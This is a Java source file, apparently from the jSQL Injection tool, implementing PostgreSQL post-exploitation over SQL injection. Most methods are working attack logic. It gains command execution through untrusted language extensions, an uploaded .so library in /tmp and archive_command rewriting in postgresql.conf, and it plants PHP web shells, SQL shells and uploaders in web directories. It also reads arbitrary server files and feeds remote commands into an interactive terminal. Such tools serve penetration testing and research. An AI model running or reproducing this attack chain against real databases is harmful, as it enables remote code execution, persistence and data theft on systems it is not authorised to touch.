1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.engine.postgres.ModelYamlPostgres;
7 import com.jsql.model.bean.database.MockElement;
8 import com.jsql.view.subscriber.Seal;
9 import com.jsql.model.exception.AbstractSlidingException;
10 import com.jsql.model.exception.InjectionFailureException;
11 import com.jsql.model.exception.JSqlException;
12 import com.jsql.model.exception.JSqlRuntimeException;
13 import com.jsql.model.injection.engine.model.EngineYaml;
14 import com.jsql.model.suspendable.SuspendableGetRows;
15 import com.jsql.util.LogLevelUtil;
16 import com.jsql.util.StringUtil;
17 import org.apache.commons.lang3.RandomStringUtils;
18 import org.apache.commons.lang3.StringUtils;
19 import org.apache.logging.log4j.LogManager;
20 import org.apache.logging.log4j.Logger;
21 import org.yaml.snakeyaml.Yaml;
22
23 import java.io.File;
24 import java.io.FileInputStream;
25 import java.io.IOException;
26 import java.io.InputStream;
27 import java.net.http.HttpResponse;
28 import java.util.Arrays;
29 import java.util.List;
30 import java.util.Objects;
31 import java.util.UUID;
32 import java.util.function.BinaryOperator;
33
34 public class ExploitPostgres {
35
36 private static final Logger LOGGER = LogManager.getRootLogger();
37 private final InjectionModel injectionModel;
38 private String nameExtension = StringUtils.EMPTY;
39 private final ModelYamlPostgres modelYaml;
40
41 public ExploitPostgres(InjectionModel injectionModel) {
42 this.injectionModel = injectionModel;
43 var yaml = new Yaml();
44 this.modelYaml = yaml.loadAs(
45 injectionModel.getMediatorEngine().getPostgres().instance().getModelYaml().getResource().getExploit(),
46 ModelYamlPostgres.class
47 );
48 }
49
50 public void createUdf(String nameExtension) throws JSqlException {
51 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
52
53 if (StringUtils.isNotEmpty(nameExtension)) {
54 this.setRceExtensionWhenActive(false, nameExtension);
55 } else {
56 var isUdfActive = this.setRceProgramWhenActive();
57 isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
58 isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
59 this.setRceArchiveWhenActive(isUdfActive);
60 }
61 }
62
63 private String getCreateBasicExtension() {
64 String plCreateExtension = null;
65 if (this.nameExtension.startsWith("plpython")) {
66 plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
67 } else if (this.nameExtension.startsWith("plperl")) {
68 plCreateExtension = this.modelYaml.getUdf().getPlperl();
69 } else if (this.nameExtension.startsWith("pltcl")) {
70 plCreateExtension = this.modelYaml.getUdf().getPltcl();
71 } else if (this.nameExtension.startsWith("plr")) {
72 plCreateExtension = this.modelYaml.getUdf().getPlr();
73 } else if (this.nameExtension.startsWith("pllua")) {
74 plCreateExtension = this.modelYaml.getUdf().getPllua();
75 } else if (this.nameExtension.startsWith("plsh")) {
76 plCreateExtension = this.modelYaml.getUdf().getPlsh();
77 }
78 return plCreateExtension;
79 }
80
81 private boolean setRceProgramWhenActive() {
82 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
83 var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
84 this.injectionModel.injectWithoutIndex(String.format(
85 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
86 nameTempTable
87 ), ResourceAccess.TBL_CREATE);
88 this.injectionModel.injectWithoutIndex(String.format(
89 this.modelYaml.getUdf().getProgram().getRun(),
90 nameTempTable,
91 ResourceAccess.WEB_CONFIRM_CMD
92 ), ResourceAccess.TBL_FILL);
93 var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
94 this.modelYaml.getUdf().getProgram().getGetResult(),
95 nameTempTable
96 ), ResourceAccess.TBL_READ);
97 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
98 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
99 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
100 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceProgramCmd(command, terminalID)
101 ));
102 return true;
103 }
104 return false;
105 }
106
107 private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
108 if (isUdfActive) {
109 return true;
110 }
111 if (StringUtils.isNotEmpty(nameExtension)) {
112 this.nameExtension = this.getExtensionWhenCreated(nameExtension);
113 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
114 } else {
115 this.nameExtension = StringUtils.EMPTY;
116 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
117 for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
118 if (StringUtils.isEmpty(this.nameExtension)) {
119 this.nameExtension = this.getExtensionWhenCreated(ext);
120 }
121 }
122 if (StringUtils.isEmpty(this.nameExtension)) {
123 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
124 return false;
125 }
126 }
127
128 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
129
130 String plCreateBasicExtension = this.getCreateBasicExtension();
131 if (plCreateBasicExtension != null) {
132 this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
133 } else if (this.nameExtension.startsWith("sql")) {
134 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
135 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
136 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
137 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
138 var result = this.injectionModel.getResourceAccess().getResult(
139 String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
140 ResourceAccess.BODY_CONFIRM
141 );
142 if (!"1337".equals(result)) {
143 return false;
144 }
145 }
146
147 var functions = this.injectionModel.getResourceAccess().getResult(
148 this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
149 ResourceAccess.BODY_CONFIRM
150 );
151 if (!functions.contains("exec_cmd")) {
152 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
153 return false;
154 }
155
156 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
157 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
158 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceExtensionCmd(command, terminalID)
159 ));
160 return true;
161 }
162
163 public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
164 if (isUdfActive) {
165 return true;
166 }
167
168 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
169 this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
170 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
171 this.modelYaml.getUdf().getLibrary().getLoFromText(),
172 String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
173 ), ResourceAccess.ADD_LOID);
174 if (StringUtils.isEmpty(loid)) {
175 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
176 return false;
177 }
178 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
179 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
180 this.modelYaml.getUdf().getLibrary().getLoToFile(),
181 loid,
182 "/tmp/" + nameExploit
183 ), ResourceAccess.WRITE_LOID);
184 this.injectionModel.injectWithoutIndex(String.format(
185 this.modelYaml.getUdf().getLibrary().getCreateFunction(),
186 "/tmp/" + nameExploit
187 ), ResourceAccess.ADD_FUNC);
188 String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
189 this.modelYaml.getUdf().getLibrary().getRunFunc(),
190 ResourceAccess.WEB_CONFIRM_CMD + "%20"
191 ), "confirm");
192 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
193 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
194 return false;
195 }
196 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
197 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
198 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceLibraryCmd(command, terminalID)
199 ));
200 return true;
201 }
202
203 private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
204 if (isUdfActive) {
205 return;
206 }
207
208 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
209 if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
210 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
211 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
212 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitPostgres().runRceArchiveCmd(command, terminalID)
213 ));
214 }
215 }
216
217 private static List<String> toHexChunks(String filename) throws JSqlException {
218 try {
219 byte[] fileData = Objects.requireNonNull(
220 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
221 ).readAllBytes();
222 return StringUtil.toHexChunks(fileData);
223 } catch (IOException e) {
224 throw new JSqlException(e);
225 }
226 }
227
228 public String runRceLibraryCmd(String command, UUID uuidShell) {
229 String result;
230 try {
231 result = this.injectionModel.getResourceAccess().getResult(String.format(
232 this.modelYaml.getUdf().getLibrary().getRunFunc(),
233 command.replace(StringUtils.SPACE, "%20") + "%20"
234 ), ResourceAccess.RUN_FUNC);
235 } catch (JSqlException e) {
236 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
237 }
238 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
239 uuidShell,
240 result.trim() +"\n"
241 ));
242 return result;
243 }
244
245 private String runArchive(String command) throws JSqlException {
246 boolean isSetup = command == null;
247 String pathResult = "/tmp/cmd.txt";
248
249 String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
250 if (isSetup && !status.contains("on")) {
251 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
252 return StringUtils.EMPTY;
253 }
254
255 String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
256 String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
257 this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
258 pathConf
259 ), "conf#loid");
260 String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
261 this.modelYaml.getUdf().getArchive().getGetConfLength(),
262 loidConf
263 ), "conf#size");
264
265 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
266 this.modelYaml.getUdf().getArchive().getPutCmd(),
267 loidConf,
268 lengthConf,
269 isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
270 pathResult
271 ), "conf#append");
272
273 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
274 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
275 loidConf,
276 pathConf
277 ), "conf#write");
278 this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
279
280 String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
281 if (isSetup && !cmdArchive.contains(pathResult)) {
282 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
283 return StringUtils.EMPTY;
284 }
285
286 this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
287 try {
288 Thread.sleep(750);
289 } catch (InterruptedException e) {
290 LOGGER.log(LogLevelUtil.IGNORE, e, e);
291 Thread.currentThread().interrupt();
292 }
293 String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
294 this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
295 pathResult
296 ), "result#loid");
297 String result = this.injectionModel.getResourceAccess().getResult(String.format(
298 this.modelYaml.getFile().getRead().getLargeObject().getToText(),
299 loidResult
300 ), "result#read");
301
302 if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
303 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
304 return StringUtils.EMPTY;
305 }
306 return result;
307 }
308
309 private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
310 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
311 this.injectionModel.injectWithoutIndex(String.format(
312 this.modelYaml.getUdf().getExtension().getCreate(),
313 nameExtension
314 ), "body#add-ext");
315 String languages = this.injectionModel.getResourceAccess().getResult(
316 this.modelYaml.getUdf().getExtension().getLanguages(),
317 "body#confirm-ext"
318 );
319 if (languages.contains(nameExtension)) {
320 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
321 return nameExtension;
322 }
323 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
324 return StringUtils.EMPTY;
325 }
326
327 public String runRceArchiveCmd(String command, UUID uuidShell) {
328 String result;
329 try {
330 result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
331 } catch (JSqlException e) {
332 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
333 }
334 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
335 uuidShell,
336 result.trim() +"\n"
337 ));
338 return result;
339 }
340
341 public String runRceProgramCmd(String command, UUID uuidShell) {
342 String result;
343 try {
344 var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
345 this.injectionModel.injectWithoutIndex(String.format(
346 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
347 nameTempTable
348 ), ResourceAccess.TBL_CREATE);
349 this.injectionModel.injectWithoutIndex(String.format(
350 this.modelYaml.getUdf().getProgram().getRun(),
351 nameTempTable,
352 command.replace(StringUtils.SPACE, "%20") +"%20"
353 ), ResourceAccess.TBL_FILL);
354 result = this.injectionModel.getResourceAccess().getResult(String.format(
355 this.modelYaml.getUdf().getProgram().getGetResult(),
356 nameTempTable
357 ), ResourceAccess.TBL_READ);
358 } catch (JSqlException e) {
359 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
360 }
361 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
362 uuidShell,
363 result.trim() +"\n"
364 ));
365 return result;
366 }
367
368 public String runRceExtensionCmd(String command, UUID uuidShell) {
369 String result;
370 try {
371 if ("sql".equals(this.nameExtension)) {
372 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
373 this.injectionModel.injectWithoutIndex(String.format(
374 this.modelYaml.getUdf().getSql().getRunFunc(),
375 command.replace(StringUtils.SPACE, "%20")
376 ), ResourceAccess.ADD_FUNC);
377 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
378 result = this.injectionModel.getResourceAccess().getResult(String.format(
379 this.modelYaml.getUdf().getSql().getResultCmd(),
380 EngineYaml.TRAIL_SQL
381 ), "body#result") +"\n";
382 } else {
383 result = this.injectionModel.getResourceAccess().getResult(
384 String.format(
385 this.modelYaml.getUdf().getRunFunc(),
386 command.replace(StringUtils.SPACE, "%20"),
387 EngineYaml.TRAIL_SQL
388 ),
389 ResourceAccess.UDF_RUN_CMD
390 );
391 }
392 } catch (JSqlException e) {
393 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
394 }
395 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
396 uuidShell,
397 result.trim() +"\n"
398 ));
399 return result;
400 }
401
402 public String createWeb(String pathExploit, String urlExploit) {
403 String bodyExploit = StringUtil.base64Decode(
404 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
405 )
406 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
407 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
408
409 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
410 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
411 bodyExploit.replace("'", "\"")
412 ), ResourceAccess.ADD_LOID);
413 if (StringUtils.isEmpty(loid)) {
414 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
415 return StringUtils.EMPTY;
416 }
417 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
418 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
419 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
420 loid,
421 pathExploit + nameExploit
422 ), ResourceAccess.WRITE_LOID);
423
424 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
425 String result = this.injectionModel.getResourceAccess().callCommand(
426 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
427 );
428 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
429 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
430 return StringUtils.EMPTY;
431 }
432 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
433 return urlSuccess;
434 };
435
436 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
437 }
438
439 public String createSql(String pathExploit, String urlExploit, String username, String password) {
440 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
441 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
442 ResourceAccess.SQL_CONFIRM_CMD,
443 null,
444 urlSuccess,
445 username,
446 password,
447 false
448 );
449 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
450 this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
451 return urlSuccess;
452 }
453 return StringUtils.EMPTY;
454 };
455
456 String bodyExploit = StringUtil.base64Decode(
457 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.sql.pdo.pgsql")
458 )
459 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
460 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
461
462 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
463 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
464 bodyExploit.replace("'", "\"")
465 ), ResourceAccess.ADD_LOID);
466 if (StringUtils.isEmpty(loid)) {
467 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
468 return StringUtils.EMPTY;
469 }
470 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
471 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
472 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
473 loid,
474 pathExploit + nameExploit
475 ), ResourceAccess.WRITE_LOID);
476
477 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
478 }
479
480 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
481 String bodyExploit = StringUtil.base64Decode(
482 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
483 )
484 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
485 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
486
487 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
488 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
489 bodyExploit.replace("'", "\"")
490 ), ResourceAccess.ADD_LOID);
491 if (StringUtils.isEmpty(loid)) {
492 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
493 return;
494 }
495 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
496 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
497 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
498 loid,
499 pathExploit + nameExploit
500 ), ResourceAccess.WRITE_LOID);
501
502 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
503 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
504 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
505 if (result.body().contains(DataAccess.LEAD +"y")) {
506 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
507 } else {
508 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
509 }
510 } catch (InterruptedException e) {
511 LOGGER.log(LogLevelUtil.IGNORE, e, e);
512 Thread.currentThread().interrupt();
513 } catch (IOException | JSqlException e) {
514 throw new JSqlRuntimeException(e);
515 }
516 return urlSuccess;
517 };
518
519 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
520 }
521
522 public String getRead(String pathFile) throws AbstractSlidingException {
523 String resultToParse = StringUtils.EMPTY;
524 try {
525 resultToParse = new SuspendableGetRows(this.injectionModel).run(
526 String.format(
527 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromDataFolder(),
528 pathFile
529 ),
530 new String[]{ StringUtils.EMPTY },
531 false,
532 1,
533 MockElement.MOCK,
534 ResourceAccess.FILE_READ
535 );
536 } catch (InjectionFailureException e) {
537 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
538 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
539 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getFromPath(),
540 pathFile
541 ), ResourceAccess.ADD_LOID);
542 if (StringUtils.isNotEmpty(loid)) {
543 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
544 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getToText(),
545 loid
546 ), ResourceAccess.READ_LOID);
547 }
548 if (StringUtils.isEmpty(resultToParse)) {
549 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
550 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);
551 this.injectionModel.injectWithoutIndex(String.format(
552 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getDrop(),
553 nameLibraryRandom
554 ), ResourceAccess.TBL_DROP);
555 this.injectionModel.injectWithoutIndex(String.format(
556 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getAdd(),
557 nameLibraryRandom
558 ), ResourceAccess.TBL_CREATE);
559 this.injectionModel.injectWithoutIndex(String.format(
560 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getFill(),
561 nameLibraryRandom,
562 pathFile
563 ), ResourceAccess.TBL_FILL);
564 resultToParse = new SuspendableGetRows(this.injectionModel).run(
565 String.format(
566 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromTempTable(),
567 nameLibraryRandom
568 ),
569 new String[]{ StringUtils.EMPTY },
570 false,
571 1,
572 MockElement.MOCK,
573 ResourceAccess.TBL_READ
574 );
575 }
576 }
577 return resultToParse;
578 }
579
580 public ModelYamlPostgres getModelYaml() {
581 return this.modelYaml;
582 }
583 }